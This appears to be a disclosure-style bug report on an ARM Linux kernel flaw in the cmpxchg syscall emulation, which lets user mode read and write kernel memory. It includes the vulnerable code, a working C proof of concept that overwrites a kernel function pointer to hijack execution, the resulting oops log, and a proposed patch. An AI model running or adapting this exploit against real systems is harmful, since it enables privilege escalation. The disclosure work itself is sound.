There's a kernel mode arbitrary read-write vulnerability in the implementation of the cmpxchg emulation for pre-ARMv6 SMT systems (ie. in the rare case that CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG is set). See the following code from /arch/arm/kernel/traps.c
#ifdef CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG
/*
* Atomically store r1 in *r2 if *r2 is equal to r0 for user space.
* Return zero in r0 if *MEM was changed or non-zero if no exchange
* happened. Also set the user C flag accordingly.
* If access permissions have to be fixed up then non-zero is
* returned and the operation has to be re-attempted.
*
* *NOTE*: This is a ghost syscall private to the kernel. Only the
* __kuser_cmpxchg code in entry-armv.S should be aware of its
* existence. Don't ever use this from user code.
*/
case NR(cmpxchg):
for (;;) {
extern void do_DataAbort(unsigned long addr, unsigned int fsr,
struct pt_regs *regs);
unsigned long val;
unsigned long addr = regs->ARM_r2; // user-mode register value
struct mm_struct *mm = current->mm;
pgd_t *pgd; pmd_t *pmd; pte_t *pte;
spinlock_t *ptl;
regs->ARM_cpsr &= ~PSR_C_BIT;
down_read(&mm->mmap_sem);
pgd = pgd_offset(mm, addr);
if (!pgd || !pgd_present(*pgd)) {
goto bad_access;
}
pmd = pmd_offset(pgd, addr);
if (!pmd || !pmd_present(*pmd)) {
goto bad_access;
}
pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
if (!pte || !pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte)) { // so the page has to exist, be writeable and dirty
pte_unmap_unlock(pte, ptl);
goto bad_access;
}
val = *(unsigned long *)addr;
val -= regs->ARM_r0;
if (val == 0) {
*(unsigned long *)addr = regs->ARM_r1; // user-mode controlled value written to user-mode controlled address
regs->ARM_cpsr |= PSR_C_BIT;
}
pte_unmap_unlock(pte, ptl);
up_read(&mm->mmap_sem);
return val; // we also get the difference between the values, so we can use it as a read as well.
bad_access:
up_read(&mm->mmap_sem);
/* simulate a write access fault */
do_DataAbort(addr, 15 + (1 << 11), regs);
}
#endif
This lets user-mode perform a cmpxchg operation on kernel-mode memory.
The following code redirects kernel mode execution on a test build of kernel 4.2 with the config flag set.
#define _GNU_SOURCE
#include <linux/sockios.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define __ARM_NR_cmpxchg (0x0f0000 + 0x00fff0)
char* overwrite_target = (char*)0x42424242;
char* dlci_ioctl_hook = (char*)0xc0416d20;
int cmpxchg(char* addr, char* compare, char* write) {
return syscall(__ARM_NR_cmpxchg, compare, write, addr);
}
void write_hook() {
cmpxchg(dlci_ioctl_hook, NULL, overwrite_target);
}
void elevate() {
int fd = socket(AF_INET, SOCK_STREAM, 0);
ioctl(fd, SIOCADDDLCI, 0xc01db33f);
}
int main(int argc, char** argv) {
write_hook();
elevate();
}
Unable to handle kernel paging request at virtual address 42424242
pgd = c7a90000
[42424242] *pgd=00000000
Internal error: Oops: 80000005 [#1] ARM
Modules linked in:
CPU: 0 PID: 1 Comm: init Not tainted 4.2.0 #13
Hardware name: ARM-Versatile PB
task: c781baa0 ti: c7822000 task.ti: c7822000
PC is at 0x42424242
LR is at sock_ioctl+0x12c/0x290
pc : [<42424242>] lr : [<c021bdec>] psr: 20000013
sp : c7823f10 ip : 00000080 fp : c74042c0
r10: c01db33f r9 : c7822000 r8 : 00000003
r7 : c03f9178 r6 : c0416d20 r5 : c01db33f r4 : 00008980
r3 : 42424242 r2 : 00000001 r1 : c01db33f r0 : 00008980
Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
Control: 00093177 Table: 07a90000 DAC: 00000015
Process init (pid: 1, stack limit = 0xc7822190)
Stack: (0xc7823f10 to 0xc7824000)
3f00: c021bcc0 00005452 00000003 00008980
3f20: c01db33f c00aa4a8 c0407700 c7a78760 00000000 c009d174 00000003 c7823f58
3f40: c02f29a0 c009d264 c03dc450 c74042a0 00000000 c021c0e0 c7838630 c7401e58
3f60: 00000000 00000000 00000001 c7920840 c7920840 00008980 c01db33f 00000003
3f80: c7822000 00000000 beee9dac c00aaa24 beee9dd0 00000000 00000000 00000036
3fa0: c0014e48 c0014c80 beee9dd0 00000000 00000003 00008980 c01db33f 00000000
3fc0: beee9dd0 00000000 00000000 00000036 00000000 00009554 000095f4 beee9dac
3fe0: beee9d90 beee9d9c 00008de4 0002039c 00000010 00000003 00000000 00000000
[<c021bdec>] (sock_ioctl) from [<c00aa4a8>] (do_vfs_ioctl+0x74/0x5bc)
[<c00aa4a8>] (do_vfs_ioctl) from [<c00aaa24>] (SyS_ioctl+0x34/0x58)
[<c00aaa24>] (SyS_ioctl) from [<c0014c80>] (ret_fast_syscall+0x0/0x38)
And I think the following patch should fix this issue by checking that the page-table entry is a user-mode page.
--- a/arch/arm/kernel/traps.c
+++ b/arch/arm/kernel/traps.c
@@ -656,7 +656,7 @@ asmlinkage int arm_syscall(int no, struct pt_regs *regs)
if (!pmd_present(*pmd))
goto bad_access;
pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
- if (!pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte)) {
+ if (!pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte) || !pte_valid_user(*pte)) {
pte_unmap_unlock(pte, ptl);
goto bad_access;
}
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Status: Invalid